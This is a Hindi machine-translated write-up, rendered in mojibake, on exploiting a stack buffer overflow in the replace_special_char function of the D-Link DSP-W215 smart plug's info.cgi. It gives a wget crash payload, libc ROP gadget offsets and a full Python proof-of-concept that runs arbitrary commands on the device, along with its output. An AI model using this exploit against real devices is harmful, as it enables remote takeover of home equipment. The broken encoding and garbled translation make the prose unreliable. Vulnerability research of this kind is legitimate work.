рд╣реИрдХ рдбреА-рд▓рд┐рдВрдХ рдбреАрдПрд╕рдкреА-рдбрдмреНрд▓реНрдпреВ 2 15 рд╕реНрдорд╛рд░реНрдЯ рдкреНрд▓рдЧред рдмрд╛рд░-рдмрд╛рд░

рдпрд╣рд╛рдВ рд╣рдо рдмрд╛рд░-рдмрд╛рд░ рд╣реИрдВред

рдЫрд╡рд┐



DSP-W215 рдХреЗ рд▓рд┐рдП рдЕрдВрддрд┐рдо рд╢реЛрд╖рдг рдореЗрдВ , рдореИрдВрдиреЗ рдХрд╣рд╛ рдХрд┐ get_input_entries рдлрд╝рдВрдХреНрд╢рди рдХреНрд░реИрд╢ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рдЖрдкрдХреЛ POST рдЕрдиреБрд░реЛрдз рдореЗрдВ "Storage_path" рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдпрд╣ рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдерд╛ рдХрд┐ рдПрдХ рдФрд░ рдмрдлрд░ рдЕрддрд┐рдкреНрд░рд╡рд╛рд╣ рд╣реИ, рдЗрд╕ рдмрд╛рд░ get_input_entries рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ, рдЬреЛ get_input_entries рдХреЙрд▓ рдХрд░рддрд╛ рд╣реИ рдпрджрд┐ рдкреИрд░рд╛рдореАрдЯрд░ рдкреЛрд╕реНрдЯ рдХрд╛ рдирд╛рдо "Storage_path" рдпрд╛ "рдкрде" рд╕реЗ рдЕрд▓рдЧ рд╣реИ:

рдЫрд╡рд┐



рдПрдХ рддрд░реНрдХ рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд_рд╕реНрдкреЗрд╢рд▓_рдЪрд░реНрдЪ рдлрд╝рдВрдХреНрд╢рди - рдкреНрд░реЛрд╕рд┐рдб POST рдорд╛рди рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдВрдХреЗрддрдХ рджрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

рдЫрд╡рд┐



рдпрд╣ рдлрд╝рдВрдХреНрд╢рди URL рдбрд┐рдХреЛрдбрд┐рдВрдЧ рд╕реЗ рд╕рдВрдмрдВрдзрд┐рдд рд╣реИ:

рдЫрд╡рд┐



URL рдХреЛ рдбреАрдХреЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдлрд╝рдВрдХреНрд╢рди рдХреЛ POST рдорд╛рди рдХреА рд╕реНрдЯреНрд░рд┐рдВрдЧ рд▓рдВрдмрд╛рдИ рдорд┐рд▓рддреА рд╣реИ рдЬреЛ get_input_entries рдкрд╛рд╕ рдХрд░рддреА рд╣реИ:

рдЫрд╡рд┐

post_value_length = strlen (post_data);



рдФрд░ рдпрд╣ post_value_length рдХреЗ рд╕рднреА рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдЧреБрдЬрд░рддрд╛ рд╣реИ:

рдЫрд╡рд┐



рдкреНрд░рддреНрдпреЗрдХ рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдкрд░, рдлрд╝рдВрдХреНрд╢рди рдПрдХ рдбрд┐рдХреЛрдб (urldecoded) рдмрд╛рдЗрдЯ рдХреЛ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рддрд╛ рд╣реИ, рдпрд╛, рдпрджрд┐ рдбрд┐рдХреЛрдбрд┐рдВрдЧ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдирд╣реАрдВ рд╣реЛрддреА рд╣реИ, рддреЛ рд╕реНрдЯреИрдХ рдкрд░ рд╕реНрдерд╛рдиреАрдп рдЪрд░ decode_buf рдореЗрдВ POST рдорд╛рди рдХрд╛ рдореВрд▓ рдмрд╛рдЗрдЯ:

рдЫрд╡рд┐



рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдпрд╣ рдРрд╕рд╛ рдХрд░рддрд╛ рд╣реИ:

void replace_special_char(char *post_data) { char decode_buf[0x258]; int post_value_length, i = 0, j = 0; memset(decode_buf, 0, sizeof(decode_buf)); post_value_length = strlen(post_data); while(i < post_value_length) { /* * ... * If post_data[i] == '%', then it's URL encoded; try to decode it here * (as long as the POST data isn't URL encoded, this code does nothing, * so it's not shown). * ... */ // No bounds checking on index j! decode_buf[j] = post_data[i]; j++; i++; } ... return; }
      
      







рдпрджрд┐ рд╣рдо рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди_рд╕реНрдкреЗрд╢рд▓_рдЪрд░реНрдЪ рд╕реНрдЯреИрдХ рдХреЛ рджреЗрдЦрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ 612 рдмрд╛рдЗрдЯреНрд╕ рд╕реЗ рдЕрдзрд┐рдХ рд▓рдВрдмреЗ рд╕рдордп рддрдХ рдПрдХ рдкреЛрд╕реНрдЯ рд╡реИрд▓реНрдпреВ рдкреВрд░реЗ рд╕реНрдЯреИрдХ рдХреЛ рдкрд╣рд▓реЗ рд░рдЬрд┐рд╕реНрдЯрд░ рдХрд┐рдП рдЧрдП рд╕реНрдЯреЛрд░ ($ s0) рд╕реЗ рдЖрдЧреЗ рдирд┐рдХрд▓ рдЬрд╛рдПрдЧреА, рдФрд░ рдПрдХ рдФрд░ 36 рдмрд╛рдЗрдЯреНрд╕ рд╕рдВрдЧреНрд░рд╣реАрдд рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ ($ ra) рдХреЛ рдУрд╡рд░рдлреНрд▓реЛ рдХрд░ рджреЗрдЧрд╛ред

рдЫрд╡рд┐



 # Overflow $ra with 0x42424242 wget --post-data="foo=$(perl -e 'print "A"x648; print "B"x4')" http://192.168.0.60/common/info.cgi
      
      







рдЫрд╡рд┐

$ ra = 0 ├Ч 42424242



рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐ рдбрд┐рдХреЛрдбрд┐рдВрдЧ рд▓реВрдк, рд╕реНрдЯреНрд░реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдбрд┐рдХреЛрдбреЗрдм рдореЗрдВ рдХреЙрдкреА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╛рдЗрдЯ рдХреА рдЖрд╡рд╢реНрдпрдХ рд╕рдВрдЦреНрдпрд╛ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХреА рдЬрд╛ рд╕рдХреЗ, рд╣рдореЗрдВ POST рдЕрдиреБрд░реЛрдз рдореЗрдВ NULL рдмрд╛рдЗрдЯ рдХреЗ рдЙрдкрдпреЛрдЧ рдкрд░ рдкреНрд░рддрд┐рдмрдВрдз рдХреЛ рдпрд╛рдж рд░рдЦрдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрд╕рдХрд╛ рдорддрд▓рдм рдпрд╣ рд╣реИ рдХрд┐ рдкрд┐рдЫрд▓реЗ рд╢реЛрд╖рдг рдореЗрдВ рд╣рдордиреЗ рдЬреЛ рд░рд┐рдЯрд░реНрди рдПрдбреНрд░реЗрд╕ рдЗрд╕реНрддреЗрдорд╛рд▓ рдХрд┐рдпрд╛ рд╣реИ, рд╡рд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░реЗрдЧрд╛, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХреЗ рдЕрдиреБрд░реЛрдз рдореЗрдВ NULL рдмрд╛рдЗрдЯреНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╣рдо рд╕рдорд╛рди рдкреНрд░рднрд╛рд╡ рдХреЛ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП lib рдореЗрдВ ROP рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред



Libc рдХреЗ рдЕрдВрджрд░, рдСрдлрд╕реЗрдЯ 0xBA50 рдореЗрдВ, рдПрдХ рдЧреИрдЬреЗрдЯ рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рд╕реНрдЯреИрдХ рдкрд░ $ $ a1 ($ sp + 0xB8, рд╕рдЯреАрдХ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП) рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ, рдФрд░ рдлрд┐рд░ рдХреБрдЫ рдкрддреЗ рдкрд░ рдХреВрджрддрд╛ рд╣реИ рдЬреЛ рдЗрд╕реЗ рд░рдЬрд┐рд╕реНрдЯрд░ $ s1 рд╕реЗ рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИ:

рдЫрд╡рд┐

рдкрд╣рд▓рд╛ рдЖрд░рдУрдкреА рдЧреИрдЬреЗрдЯ



рдпрджрд┐ рд╣рдо рдмрдлрд░ рдУрд╡рд░рдлреНрд▓реЛ рдХреЗ рджреМрд░рд╛рди 0 ├Ч 34640 рдХреЗ рдСрдлрд╕реЗрдЯ рдХреЗ рд╕рд╛рде рдПрдХ рдкрддреЗ рдХреЗ рд╕рд╛рде $ s1 рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрддреЗ рд╣реИрдВ, рддреЛ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдЕрдЧрд▓реЗ рдЧреИрдЬреЗрдЯ рдкрд░ рдХреВрдж рдЬрд╛рдПрдЧрд╛, рдЬреЛ $ a0 рдореЗрдВ рд░рдЬрд┐рд╕реНрдЯрд░ $ a1 (рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрд╣рд▓реЗ рддрд░реНрдХ рдХреЗ рд╕рд╛рде рд░рдЬрд┐рд╕реНрдЯрд░) рдбрд╛рд▓ рджреЗрдЧрд╛ рдФрд░ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░реЗрдЧрд╛ рдЬрд┐рд╕рдХрд╛ рдкрддрд╛ $ s0:

рдЫрд╡рд┐

рджреВрд╕рд░рд╛ рдЖрд░рдУрдкреА рдЧреИрдЬреЗрдЯ



рдЗрд╕рд▓рд┐рдП, рд╣рдордиреЗ рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд┐рдпрд╛ рдХрд┐ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ $ s0 рдЕрдВрдХ () рдлрд╝рдВрдХреНрд╢рди (lib рдореЗрдВ 0x4BC80 рдкрд░ рдСрдлрд╕реЗрдЯ), рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╣рдо рд╕рд┐рд╕реНрдЯрдо () рдХреЛ рд╕реНрдЯреИрдХ рдХреЗ рд▓рд┐рдП рдкреЙрдЗрдВрдЯрд░ рдХреЗ рд╕рд╛рде рдХреЙрд▓ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 system($sp+0xB8);
      
      







рд╕рднреА рдСрдлрд╕реЗрдЯ рдореЗрдВ рдЖрдзрд╛рд░ libc рдПрдбреНрд░реЗрд╕ (0x2AB61000) рдЬреЛрдбрд╝рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рдЕрдкрдиреА рднреЗрджреНрдпрддрд╛ рдХреЗ рд▓рд┐рдП PoC рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 #!/usr/bin/env python # Exploits overflow in replace_special_char. import sys import urllib2 try: target = sys.argv[1] command = sys.argv[2] except: print "Usage: %s <target> <command>" % sys.argv[0] sys.exit(1) url = "http://%s/common/info.cgi" % target buf = "foo=" # POST parameter name can be anything buf += "E" * 612 # Stack filler buf += "\x2A\xBA\xCC\x80" # $s0, address of system() buf += "\x2A\xB9\x56\x40" # $s1, address of ROP2 buf += "F" * 4 # $s2, don't care buf += "F" * 4 # $s3, address of ROP2 buf += "F" * 4 # $s4, don't care buf += "F" * 4 # $s5, address of ROP3 buf += "F" * 4 # $s6, don't care buf += "F" * 4 # $s7, don't care buf += "F" * 4 # $fp, don't care buf += "\x2A\xB6\xCA\x50" # $ra, address of ROP1 buf += "G" * 0xB8 # Stack filler buf += command # Command to execute req = urllib2.Request(url, buf) print urllib2.urlopen(req).read()
      
      







рдкрд╣рд▓реЗ рдХреА рддрд░рд╣, рд╣рдо рдХрд┐рд╕реА рднреА рдХрдорд╛рдВрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

 $ ./exploit2.py 192.168.0.60 'ls -l /' drwxr-xr-x 2 1000 1000 4096 May 16 09:01 bin drwxrwxr-x 3 1000 1000 4096 May 22 18:03 dev drwxrwxr-x 3 1000 1000 4096 Sep 3 2010 etc drwxrwxr-x 3 1000 1000 4096 May 16 09:01 lib drwxr-xr-x 3 1000 1000 4096 May 16 09:01 libexec lrwxrwxrwx 1 1000 1000 11 May 17 15:20 linuxrc -> bin/busybox drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 lost+found drwxrwxr-x 6 1000 1000 4096 May 17 15:15 mnt drwxr-xr-x 2 1000 1000 4096 May 16 09:01 mydlink drwxrwxr-x 2 1000 1000 4096 Nov 11 2008 proc drwxrwxr-x 2 1000 1000 4096 May 17 17:23 root drwxr-xr-x 2 1000 1000 4096 May 16 09:01 sbin drwxrwxrwx 3 1000 1000 4096 May 22 19:18 tmp drwxrwxr-x 7 1000 1000 4096 May 16 09:01 usr drwxrwxr-x 3 1000 1000 4096 May 17 15:21 var -rw-r--r-- 1 1000 1000 17 May 16 09:01 version drwxrwxr-x 6 1000 1000 4096 May 22 17:15 www
      
      






All Articles